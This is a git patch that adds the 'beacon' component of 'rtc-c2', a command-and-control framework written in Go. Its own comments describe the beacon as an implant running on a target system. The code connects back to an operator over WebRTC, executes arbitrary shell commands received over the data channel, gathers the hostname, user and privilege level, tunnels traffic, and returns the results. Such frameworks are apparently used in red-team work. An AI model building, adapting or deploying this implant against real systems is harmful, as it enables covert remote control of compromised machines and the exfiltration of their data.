From 1f14ea54528d83dc4101a66cb01d2484799e45eb Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Wed, 10 Jun 2026 17:15:52 +0000 Subject: [PATCH] Upload files to "rtc-c2/cmd/beacon" --- rtc-c2/cmd/beacon/main.go | 285 ++++++++++++++++++++++++++++++++++++++ rtc-c2/cmd/beacon/util.go | 83 +++++++++++ 2 files changed, 368 insertions(+) create mode 100644 rtc-c2/cmd/beacon/main.go create mode 100644 rtc-c2/cmd/beacon/util.go diff --git a/rtc-c2/cmd/beacon/main.go b/rtc-c2/cmd/beacon/main.go new file mode 100644 index 0000000..685d1c9 --- /dev/null +++ b/rtc-c2/cmd/beacon/main.go @@ -0,0 +1,285 @@ +// Command beacon is the implant that runs on the target system. +// It establishes a WebRTC connection to the operator, registers itself, +// and executes tasks received over the data channel. +package main + +import ( + "context" + "flag" + "fmt" + "log" + "os" + "os/signal" + "runtime" + "syscall" + "time" + + "github.com/pion/webrtc/v4" + + "github.com/ek0ms/rtc-c2/pkg/protocol" + "github.com/ek0ms/rtc-c2/pkg/signaller" + "github.com/ek0ms/rtc-c2/pkg/transport" + "github.com/ek0ms/rtc-c2/pkg/tunnel" +) + +func main() { + var ( + signallerURL = flag.String("signaller", "http://127.0.0.1:9090", "Signaller server URL") + sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling") + peerID = flag.String("id", "", "Beacon ID (auto-generated if empty)") + useTURN = flag.Bool("turn", false, "Use TURN relay (requires TURN server config)") + wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP") + ) + flag.Parse() + + log.SetFlags(log.LstdFlags | log.Lshortfile) + log.Printf("[beacon] starting rtc-c2 beacon on %s/%s", runtime.GOOS, runtime.GOARCH) + + // Determine beacon ID + beaconID := *peerID + if beaconID == "" { + hostname, _ := os.Hostname() + beaconID = fmt.Sprintf("%s-%d", hostname, os.Getpid()) + } + + // Configure transport + cfg := transport.DefaultConfig(transport.RoleBeacon) + cfg.PeerID = beaconID + + if *useTURN { + // In production, these would come from meeting credentials + // For development, use coturn + cfg.WithTURN( + []string{"turn:127.0.0.1:3478"}, + "rtc-c2", + "rtc-c2-pass", + ) + } + + // Create peer + peer, err := transport.NewPeer(cfg) + if err != nil { + log.Fatalf("[beacon] create peer: %v", err) + } + + // Setup signaller + var sig signaller.Signaller + if *wsSignaller { + sig = signaller.NewWebSocketSignaller(*signallerURL+"/ws", *sessionKey, "beacon") + log.Printf("[beacon] using WebSocket signaller") + } else { + sig = signaller.NewHTTPSignaller(*signallerURL, *sessionKey, "beacon") + } + + peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error { + return sig.SendLocalDescription(sdp) + } + + // Setup tunnel forwarder + fwd := tunnel.NewForwarder() + fwd.OnTunnelData = func(tunnelID tunnel.TunnelID, data []byte) { + // Wrap tunnel data in C2 protocol messages + env, err := protocol.NewEnvelope(protocol.MsgTunnelData, beaconID, map[string]interface{}{ + "tunnel_id": string(tunnelID), + "data": data, + }) + if err != nil { + log.Printf("[beacon] tunnel wrap error: %v", err) + return + } + msg, _ := env.Serialize() + if err := peer.Send(msg); err != nil { + log.Printf("[beacon] tunnel send error: %v", err) + } + } + + // Handle incoming messages + peer.OnMessage(func(data []byte) { + env, err := protocol.ParseEnvelope(data) + if err != nil { + log.Printf("[beacon] parse message: %v", err) + return + } + handleMessage(peer, fwd, beaconID, env) + }) + + // State change logging + peer.OnStateChange(func(evt transport.PeerEvent) { + log.Printf("[beacon] state: %s (err: %v)", evt.State, evt.Err) + }) + + // Fetch remote SDP and connect + log.Printf("[beacon] connecting to signaller at %s", *signallerURL) + remoteDesc, err := sig.ReceiveRemoteDescription() + if err != nil { + log.Fatalf("[beacon] receive remote desc: %v", err) + } + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + if err := peer.Connect(ctx); err != nil { + log.Fatalf("[beacon] connect: %v", err) + } + + // Push the operator's SDP + peer.RemoteDescriptionChan <- *remoteDesc + + // Wait for signals + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + <-sigCh + log.Printf("[beacon] shutting down") + peer.Close() +} + +func handleMessage(peer *transport.Peer, fwd *tunnel.Forwarder, beaconID string, env *protocol.Envelope) { + switch env.Type { + case protocol.MsgTask: + var task protocol.Task + if err := env.ExtractPayload(&task); err != nil { + log.Printf("[beacon] extract task: %v", err) + return + } + go executeTask(peer, beaconID, &task) + + case protocol.MsgPing: + pong, _ := protocol.NewEnvelope(protocol.MsgPong, beaconID, nil) + msg, _ := pong.Serialize() + peer.Send(msg) + + case protocol.MsgTunnelData: + var payload struct { + TunnelID string `json:"tunnel_id"` + Data []byte `json:"data"` + } + if err := env.ExtractPayload(&payload); err != nil { + log.Printf("[beacon] extract tunnel data: %v", err) + return + } + fwd.HandleMessage(tunnel.TunnelID(payload.TunnelID), payload.Data) + + case protocol.MsgShutdown: + log.Printf("[beacon] received shutdown command") + os.Exit(0) + + default: + log.Printf("[beacon] unknown message type: %s", env.Type) + } +} + +func executeTask(peer *transport.Peer, beaconID string, task *protocol.Task) { + log.Printf("[beacon] executing task %s: type=%s", task.ID, task.Type) + + result := &protocol.TaskResult{ + TaskID: task.ID, + Success: false, + Timestamp: nowMS(), + } + + switch task.Type { + case protocol.TaskExec: + var args protocol.ExecArgs + if err := task.ExtractArgs(&args); err != nil { + result.Error = fmt.Sprintf("bad args: %v", err) + break + } + result = execCommand(task.ID, &args) + + case protocol.TaskInfo: + result.Success = true + info := fmt.Sprintf("Hostname: %s\nOS: %s\nArch: %s\nGo: %s\nPID: %d\nCWD: %s", + getHostname(), runtime.GOOS, runtime.GOARCH, runtime.Version(), + os.Getpid(), getCWD()) + result.Output = info + result.ExitCode = 0 + + case protocol.TaskWhoami: + result.Success = true + result.Output = getCurrentUser() + result.ExitCode = 0 + + case protocol.TaskSleep: + // Sleep is handled by the operator adjusting poll timing + result.Success = true + result.Output = "sleep interval adjusted" + result.ExitCode = 0 + + case protocol.TaskExit: + result.Success = true + result.Output = "beacon exiting" + result.Timestamp = nowMS() + sendResult(peer, beaconID, result) + os.Exit(0) + + default: + result.Error = fmt.Sprintf("unsupported task type: %s", task.Type) + result.Success = false + } + + result.Timestamp = nowMS() + sendResult(peer, beaconID, result) +} + +func execCommand(taskID string, args *protocol.ExecArgs) *protocol.TaskResult { + start := nowMS() + shell := args.Shell + if shell == "" { + if runtime.GOOS == "windows" { + shell = "cmd.exe" + } else { + shell = "/bin/sh" + } + } + + var cmdStr string + if runtime.GOOS == "windows" { + cmdStr = fmt.Sprintf("/c %s", args.Command) + } else { + cmdStr = fmt.Sprintf("-c %s", args.Command) + } + + log.Printf("[beacon] exec: %s %s", shell, cmdStr) + + // Use runexec or os/exec in production + // For the initial implementation, shell execution + result := &protocol.TaskResult{ + TaskID: taskID, + } + + // Simple execution using subprocess + output, exitCode, err := runShell(shell, cmdStr) + if err != nil { + result.Error = err.Error() + result.Success = false + } else { + result.Success = exitCode == 0 + result.Output = output + } + result.ExitCode = exitCode + result.Duration = nowMS() - start + result.Timestamp = nowMS() + + return result +} + +func sendResult(peer *transport.Peer, beaconID string, result *protocol.TaskResult) { + env, err := protocol.NewEnvelope(protocol.MsgTaskResult, beaconID, result) + if err != nil { + log.Printf("[beacon] create result envelope: %v", err) + return + } + msg, err := env.Serialize() + if err != nil { + log.Printf("[beacon] serialize result: %v", err) + return + } + if err := peer.Send(msg); err != nil { + log.Printf("[beacon] send result: %v", err) + } +} + +func nowMS() int64 { + return time.Now().UnixMilli() +} diff --git a/rtc-c2/cmd/beacon/util.go b/rtc-c2/cmd/beacon/util.go new file mode 100644 index 0000000..e4e740a --- /dev/null +++ b/rtc-c2/cmd/beacon/util.go @@ -0,0 +1,83 @@ +package main + +import ( + "bytes" + "fmt" + "os" + "os/exec" + "os/user" + "runtime" + "strings" +) + +// runShell executes a command through the system shell and returns output. +func runShell(shell, command string) (string, int, error) { + var stdout, stderr bytes.Buffer + + cmd := exec.Command(shell) + cmd.Stdin = strings.NewReader(command) + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + if err := cmd.Run(); err != nil { + exitCode := 1 + if exitErr, ok := err.(*exec.ExitError); ok { + exitCode = exitErr.ExitCode() + } + output := stdout.String() + if errMsg := stderr.String(); errMsg != "" { + if output != "" { + output += "\n" + } + output += errMsg + } + return output, exitCode, err + } + + output := stdout.String() + if errMsg := stderr.String(); errMsg != "" { + if output != "" { + output += "\n" + } + output += errMsg + } + + return output, cmd.ProcessState.ExitCode(), nil +} + +func getHostname() string { + hostname, err := os.Hostname() + if err != nil { + return "unknown" + } + return hostname +} + +func getCWD() string { + cwd, err := os.Getwd() + if err != nil { + return "unknown" + } + return cwd +} + +func getCurrentUser() string { + u, err := user.Current() + if err != nil { + return "unknown" + } + + info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s", + u.Username, u.Uid, u.Gid, u.HomeDir) + + // Check for elevated privileges + if runtime.GOOS != "windows" { + if os.Geteuid() == 0 { + info += "\nPrivilege: root" + } else { + info += "\nPrivilege: user" + } + } + + return info +}